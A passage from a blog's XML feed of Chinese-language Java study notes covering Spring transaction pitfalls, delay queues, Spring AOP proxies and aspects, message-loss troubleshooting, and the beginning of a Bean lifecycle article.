class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>解决</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> ApplicationContext context;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">OrderService</span> <span class="variable">proxy</span> <span class="operator">=</span> context.getBean(OrderService.class);</span><br><span class="line">        proxy.saveLog();  <span class="comment">// 通过代理调用</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-异常回滚规则"><a href="#2-异常回滚规则" class="headerlink" title="2. 异常回滚规则"></a>2. 异常回滚规则</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Transactional(rollbackFor = Exception.class)</span>  <span class="comment">// 默认只回滚 RuntimeException</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">method</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-REQUIRES-NEW-的坑"><a href="#3-REQUIRES-NEW-的坑" class="headerlink" title="3. REQUIRES_NEW 的坑"></a>3. REQUIRES_NEW 的坑</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Transactional</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">parent</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        childRequiresNew();  <span class="comment">// REQUIRES_NEW</span></span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">        <span class="comment">// child 的新事务已提交或回滚，这里捕获不到其异常！</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>传播行为</th><th>使用场景</th></tr></thead><tbody><tr><td>REQUIRED</td><td>默认，大多数场景</td></tr><tr><td>REQUIRES_NEW</td><td>独立操作（日志、消息）</td></tr><tr><td>NESTED</td><td>部分回滚</td></tr><tr><td>SUPPORTS</td><td>查询，不强制事务</td></tr><tr><td>NOT_SUPPORTED</td><td>复杂查询，避免事务开销</td></tr><tr><td>MANDATORY</td><td>强制必须在事务中</td></tr><tr><td>NEVER</td><td>强制必须不在事务中</td></tr></tbody></table><p>选择正确的传播行为，可以避免事务问题，提高系统可靠性。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>延迟队列的业务场景和实现思路</title>
      <link href="//yan-chi-dui-lie-de-ye-wu-chang-jing-he-shi-xian-si-lu/"/>
      <url>//yan-chi-dui-lie-de-ye-wu-chang-jing-he-shi-xian-si-lu/</url>
      
        <content type="html"><![CDATA[<h1 id="延迟队列的业务场景和实现思路"><a href="#延迟队列的业务场景和实现思路" class="headerlink" title="延迟队列的业务场景和实现思路"></a>延迟队列的业务场景和实现思路</h1><p>延迟队列在订单超时、任务调度等场景中很实用。本文讲它的业务场景和实现思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring AOP的原理和常见应用</title>
      <link href="//spring-aop-de-yuan-li-he-chang-jian-ying-yong/"/>
      <url>//spring-aop-de-yuan-li-he-chang-jian-ying-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-AOP的原理和常见应用"><a href="#Spring-AOP的原理和常见应用" class="headerlink" title="Spring AOP的原理和常见应用"></a>Spring AOP的原理和常见应用</h1><p>AOP 是 Spring 的核心功能之一，但真正用起来容易踩坑。很多人知道 @Aspect 注解，却不清楚代理模式的区别、切面的执行顺序、以及自调用失效的问题。本文从配置到常见问题，把实际项目中的处理思路整理出来。</p><h2 id="核心概念"><a href="#核心概念" class="headerlink" title="核心概念"></a>核心概念</h2><table><thead><tr><th>术语</th><th>说明</th><th>类比</th></tr></thead><tbody><tr><td>Aspect</td><td>切面，横切关注点的模块化</td><td>一个功能模块</td></tr><tr><td>Join Point</td><td>连接点，程序执行过程中的点</td><td>方法调用</td></tr><tr><td>Pointcut</td><td>切点，定义哪些连接点会被拦截</td><td>拦截规则</td></tr><tr><td>Advice</td><td>通知，切点处执行的动作</td><td>拦截后的处理</td></tr><tr><td>Target</td><td>目标对象，被代理的原始对象</td><td>业务类</td></tr><tr><td>Proxy</td><td>代理对象</td><td>包装后的类</td></tr><tr><td>Weaving</td><td>织入，将切面应用到目标对象</td><td>装配过程</td></tr></tbody></table><h2 id="Advice-类型"><a href="#Advice-类型" class="headerlink" title="Advice 类型"></a>Advice 类型</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Aspect</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LogAspect</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 前置通知</span></span><br><span class="line">    <span class="meta">@Before(&quot;execution(* com.example.service.*.*(..))&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">before</span><span class="params">(JoinPoint jp)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;方法调用前: &quot;</span> + jp.getSignature().getName());</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 后置通知（无论是否异常）</span></span><br><span class="line">    <span class="meta">@After(&quot;execution(* com.example.service.*.*(..))&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">after</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;方法调用后&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 返回通知</span></span><br><span class="line">    <span class="meta">@AfterReturning(pointcut = &quot;..&quot;, returning = &quot;result&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">afterReturning</span><span class="params">(Object result)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;方法返回: &quot;</span> + result);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 异常通知</span></span><br><span class="line">    <span class="meta">@AfterThrowing(pointcut = &quot;..&quot;, throwing = &quot;ex&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">afterThrowing</span><span class="params">(Exception ex)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;方法异常: &quot;</span> + ex.getMessage());</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 环绕通知</span></span><br><span class="line">    <span class="meta">@Around(&quot;execution(* com.example.service.*.*(..))&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">around</span><span class="params">(ProceedingJoinPoint pjp)</span> <span class="keyword">throws</span> Throwable &#123;</span><br><span class="line">        <span class="type">long</span> <span class="variable">start</span> <span class="operator">=</span> System.currentTimeMillis();</span><br><span class="line">        <span class="type">Object</span> <span class="variable">result</span> <span class="operator">=</span> pjp.proceed();  <span class="comment">// 执行目标方法</span></span><br><span class="line">        <span class="type">long</span> <span class="variable">cost</span> <span class="operator">=</span> System.currentTimeMillis() - start;</span><br><span class="line">        System.out.println(<span class="string">&quot;耗时: &quot;</span> + cost + <span class="string">&quot;ms&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="AOP-实现原理"><a href="#AOP-实现原理" class="headerlink" title="AOP 实现原理"></a>AOP 实现原理</h2><p>#</p><h2 id="1-JDK-动态代理"><a href="#1-JDK-动态代理" class="headerlink" title="1. JDK 动态代理"></a>1. JDK 动态代理</h2><p><strong>适用</strong>：目标类实现了接口。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">JdkProxy</span> <span class="keyword">implements</span> <span class="title class_">InvocationHandler</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> Object target;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">createProxy</span><span class="params">(Object target)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.target = target;</span><br><span class="line">        <span class="keyword">return</span> Proxy.newProxyInstance(</span><br><span class="line">            target.getClass().getClassLoader(),</span><br><span class="line">            target.getClass().getInterfaces(),</span><br><span class="line">            <span class="built_in">this</span></span><br><span class="line">        );</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">invoke</span><span class="params">(Object proxy, Method method, Object[] args)</span> <span class="keyword">throws</span> Throwable &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;前置增强&quot;</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">result</span> <span class="operator">=</span> method.invoke(target, args);</span><br><span class="line">        System.out.println(<span class="string">&quot;后置增强&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-CGLIB-代理"><a href="#2-CGLIB-代理" class="headerlink" title="2. CGLIB 代理"></a>2. CGLIB 代理</h2><p><strong>适用</strong>：目标类没有实现接口。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CglibProxy</span> <span class="keyword">implements</span> <span class="title class_">MethodInterceptor</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">createProxy</span><span class="params">(Class&lt;?&gt; clazz)</span> &#123;</span><br><span class="line">        <span class="type">Enhancer</span> <span class="variable">enhancer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Enhancer</span>();</span><br><span class="line">        enhancer.setSuperclass(clazz);</span><br><span class="line">        enhancer.setCallback(<span class="built_in">this</span>);</span><br><span class="line">        <span class="keyword">return</span> enhancer.create();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">intercept</span><span class="params">(Object obj, Method method, Object[] args, MethodProxy proxy)</span> <span class="keyword">throws</span> Throwable &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;前置增强&quot;</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">result</span> <span class="operator">=</span> proxy.invokeSuper(obj, args);</span><br><span class="line">        System.out.println(<span class="string">&quot;后置增强&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="Spring-的选择"><a href="#Spring-的选择" class="headerlink" title="Spring 的选择"></a>Spring 的选择</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 有接口 -&gt; JDK 代理</span></span><br><span class="line"><span class="comment">// 无接口 -&gt; CGLIB</span></span><br><span class="line"><span class="comment">// 强制 CGLIB：@EnableAspectJAutoProxy(proxyTargetClass = true)</span></span><br></pre></td></tr></table></figure><table><thead><tr><th>特性</th><th>JDK 代理</th><th>CGLIB</th></tr></thead><tbody><tr><td>要求</td><td>实现接口</td><td>无要求</td></tr><tr><td>原理</td><td>实现接口</td><td>继承子类</td></tr><tr><td>性能</td><td>稍差（反射）</td><td>稍好（FastClass）</td></tr><tr><td>final 方法</td><td>支持</td><td>不支持</td></tr><tr><td>构造函数</td><td>不调用</td><td>调用</td></tr></tbody></table><h2 id="常见应用场景"><a href="#常见应用场景" class="headerlink" title="常见应用场景"></a>常见应用场景</h2><p>#</p><h2 id="1-日志记录"><a href="#1-日志记录" class="headerlink" title="1. 日志记录"></a>1. 日志记录</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Aspect</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LogAspect</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Around(&quot;@annotation(com.example.annotation.OperationLog)&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">around</span><span class="params">(ProceedingJoinPoint pjp)</span> <span class="keyword">throws</span> Throwable &#123;</span><br><span class="line">        <span class="type">MethodSignature</span> <span class="variable">signature</span> <span class="operator">=</span> (MethodSignature) pjp.getSignature();</span><br><span class="line">        <span class="type">OperationLog</span> <span class="variable">annotation</span> <span class="operator">=</span> signature.getMethod().getAnnotation(OperationLog.class);</span><br><span class="line">        </span><br><span class="line">        <span class="type">String</span> <span class="variable">operation</span> <span class="operator">=</span> annotation.value();</span><br><span class="line">        <span class="type">String</span> <span class="variable">params</span> <span class="operator">=</span> Arrays.toString(pjp.getArgs());</span><br><span class="line">        </span><br><span class="line">        <span class="type">long</span> <span class="variable">start</span> <span class="operator">=</span> System.currentTimeMillis();</span><br><span class="line">        <span class="type">Object</span> <span class="variable">result</span> <span class="operator">=</span> pjp.proceed();</span><br><span class="line">        <span class="type">long</span> <span class="variable">cost</span> <span class="operator">=</span> System.currentTimeMillis() - start;</span><br><span class="line">        </span><br><span class="line">        log.info(<span class="string">&quot;操作: &#123;&#125;, 参数: &#123;&#125;, 耗时: &#123;&#125;ms&quot;</span>, operation, params, cost);</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用</span></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    <span class="meta">@OperationLog(&quot;创建订单&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Order <span class="title function_">createOrder</span><span class="params">(CreateOrderRequest request)</span> &#123;</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-权限校验"><a href="#2-权限校验" class="headerlink" title="2. 权限校验"></a>2. 权限校验</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Aspect</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AuthAspect</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Around(&quot;@annotation(com.example.annotation.RequireRole)&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">around</span><span class="params">(ProceedingJoinPoint pjp)</span> <span class="keyword">throws</span> Throwable &#123;</span><br><span class="line">        <span class="type">MethodSignature</span> <span class="variable">signature</span> <span class="operator">=</span> (MethodSignature) pjp.getSignature();</span><br><span class="line">        <span class="type">RequireRole</span> <span class="variable">annotation</span> <span class="operator">=</span> signature.getMethod().getAnnotation(RequireRole.class);</span><br><span class="line">        </span><br><span class="line">        <span class="type">String</span> <span class="variable">requiredRole</span> <span class="operator">=</span> annotation.value();</span><br><span class="line">        <span class="type">String</span> <span class="variable">currentRole</span> <span class="operator">=</span> getCurrentUserRole();</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (!requiredRole.equals(currentRole)) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">UnauthorizedException</span>(<span class="string">&quot;权限不足&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> pjp.proceed();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-性能监控"><a href="#3-性能监控" class="headerlink" title="3. 性能监控"></a>3. 性能监控</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Aspect</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MetricsAspect</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Around(&quot;execution(* com.example.controller.*.*(..))&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">around</span><span class="params">(ProceedingJoinPoint pjp)</span> <span class="keyword">throws</span> Throwable &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">method</span> <span class="operator">=</span> pjp.getSignature().toShortString();</span><br><span class="line">        <span class="type">Timer</span> <span class="variable">timer</span> <span class="operator">=</span> Metrics.timer(<span class="string">&quot;http.request&quot;</span>, <span class="string">&quot;method&quot;</span>, method);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> timer.recordCallable(() -&gt; &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="keyword">return</span> pjp.proceed();</span><br><span class="line">            &#125; <span class="keyword">catch</span> (Throwable e) &#123;</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-缓存"><a href="#4-缓存" class="headerlink" title="4. 缓存"></a>4. 缓存</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Aspect</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CacheAspect</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Around(&quot;@annotation(com.example.annotation.Cacheable)&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">around</span><span class="params">(ProceedingJoinPoint pjp)</span> <span class="keyword">throws</span> Throwable &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> generateKey(pjp);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">cached</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (cached != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> cached;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="type">Object</span> <span class="variable">result</span> <span class="operator">=</span> pjp.proceed();</span><br><span class="line">        redisTemplate.opsForValue().set(key, result, Duration.ofMinutes(<span class="number">10</span>));</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h2><p>#</p><h2 id="1-同类方法调用不生效"><a href="#1-同类方法调用不生效" class="headerlink" title="1. 同类方法调用不生效"></a>1. 同类方法调用不生效</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">methodA</span><span class="params">()</span> &#123;</span><br><span class="line">        methodB();  <span class="comment">// AOP 不生效！直接调用，不走代理</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">methodB</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>解决</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> ApplicationContext context;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">methodA</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 通过代理调用</span></span><br><span class="line">        <span class="type">UserService</span> <span class="variable">proxy</span> <span class="operator">=</span> context.getBean(UserService.class);</span><br><span class="line">        proxy.methodB();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-代理对象类型"><a href="#2-代理对象类型" class="headerlink" title="2. 代理对象类型"></a>2. 代理对象类型</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">UserService</span> <span class="variable">service</span> <span class="operator">=</span> context.getBean(UserService.class);</span><br><span class="line">System.out.println(service.getClass());  </span><br><span class="line"><span class="comment">// class com.example.UserService$$EnhancerBySpringCGLIB$$xxx</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-final-方法"><a href="#3-final-方法" class="headerlink" title="3. final 方法"></a>3. final 方法</h2><p>CGLIB 无法代理 final 方法，JDK 代理不受影响（因为代理的是接口）。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>AOP 是 Spring 框架的灵魂特性，它：</p><ul><li><strong>解耦横切关注点</strong>：日志、事务、安全与业务分离</li><li><strong>提高代码复用</strong>：统一的切面逻辑多处复用</li><li><strong>增强可维护性</strong>：修改切面逻辑不影响业务代码</li></ul><p>理解 JDK 动态代理和 CGLIB 的原理，有助于正确使用 AOP 并排查相关问题。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>JDK 动态代理和 CGLIB 代理的区别：前者基于接口，后者基于类</p></li><li><p>切面的优先级由 @Order 注解控制，数字越小优先级越高</p></li><li><p>自调用问题的原因是内部方法调用不会经过代理对象</p></li><li><p>使用 ProxyUtils 或暴露 AopContext 可以解决自调用问题</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>AOP 是实现横切关注点的利器，但需要理解其底层机制才能用好。在实际项目中，日志、事务、权限校验都是 AOP 的典型应用场景。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>消息丢失问题从生产到消费排查</title>
      <link href="//xiao-xi-diu-shi-wen-ti-cong-sheng-chan-dao-xiao-fei-pai-cha/"/>
      <url>//xiao-xi-diu-shi-wen-ti-cong-sheng-chan-dao-xiao-fei-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="消息丢失问题从生产到消费排查"><a href="#消息丢失问题从生产到消费排查" class="headerlink" title="消息丢失问题从生产到消费排查"></a>消息丢失问题从生产到消费排查</h1><p>消息从生产到消费的过程中可能在多处丢失。本文讲如何排查和预防。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Bean生命周期按步骤理解</title>
      <link href="//bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/"/>
      <url>//bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="Bean生命周期按步骤理解"><a href="#Bean生命周期按步骤理解" class="headerlink" title="Bean生命周期按步骤理解"></a>Bean生命周期按步骤理解</h1><p>Spring Bean 的生命周期一直是面试和日常开发中绕不开的话题。很多人知道有几个回调方法，但对执行顺序和实际应用场景并不清楚。本文按初始化到销毁的顺序，把关键节点梳理清楚，结合实际代码说明每个阶段的作用。</p><h2 id="生命周期流程图"><a href="#生命周期流程图" class="headerlink" title="生命周期流程图"></a>生命周期流程图</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">1. 实例化</span><br><span class="line">   └─ 调用构造器创建对象</span><br><span class="line"></span><br><span class="line">2. 属性赋值</span><br><span class="line">   └─ 依赖注入（DI）</span><br><span class="line"></span><br><span class="line">3. 设置 BeanName</span><br><span class="line">   └─ BeanNameAware.setBeanName()</span><br><span class="line"></span><br><span class="line">4. 设置 BeanFactory</span><br><span class="line">   └─ BeanFactoryAware.setBeanFactory()</span><br><span class="line"></span><br><span class="line">5. 设置 ApplicationContext</span><br><span class="line">   └─ ApplicationContextAware.setApplicationContext()</span><br><span class="line"></span><br><span class="line">6. 预初始化（BeanPostProcessor.postProcessBeforeInitialization）</span><br><span class="line"></span><br><span class="line">7. 初始化</span><br><span class="line">   ├─ @PostConstruct</span><br><span class="line">   ├─ InitializingBean.afterPropertiesSet()</span><br><span class="line">   └─ 自定义 init-method</span><br><span class="line"></span><br><span class="line">8. 后初始化（BeanPostProcessor.postProcessAfterInitialization）</span><br><span class="line">   └─ AOP 代理创建</span><br><span class="line"></span><br><span class="line">9. Bean 就绪，可以使用</span><br><span class="line"></span><br><span class="line">10. 销毁</span><br><span class="line">    ├─ @PreDestroy</span><br><span class="line">    ├─ DisposableBean.destroy()</span><br><span class="line">    └─ 自定义 destroy-method</span><br></pre></td></tr></table></figure><h2 id="代码演示"><a href="#代码演示" class="headerlink" title="代码演示"></a>代码演示</h2><p>#</p><h2 id="完整生命周期-Bean"><a href="#完整生命周期-Bean" class="headerlink" title="完整生命周期 Bean"></a>完整生命周期 Bean</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span 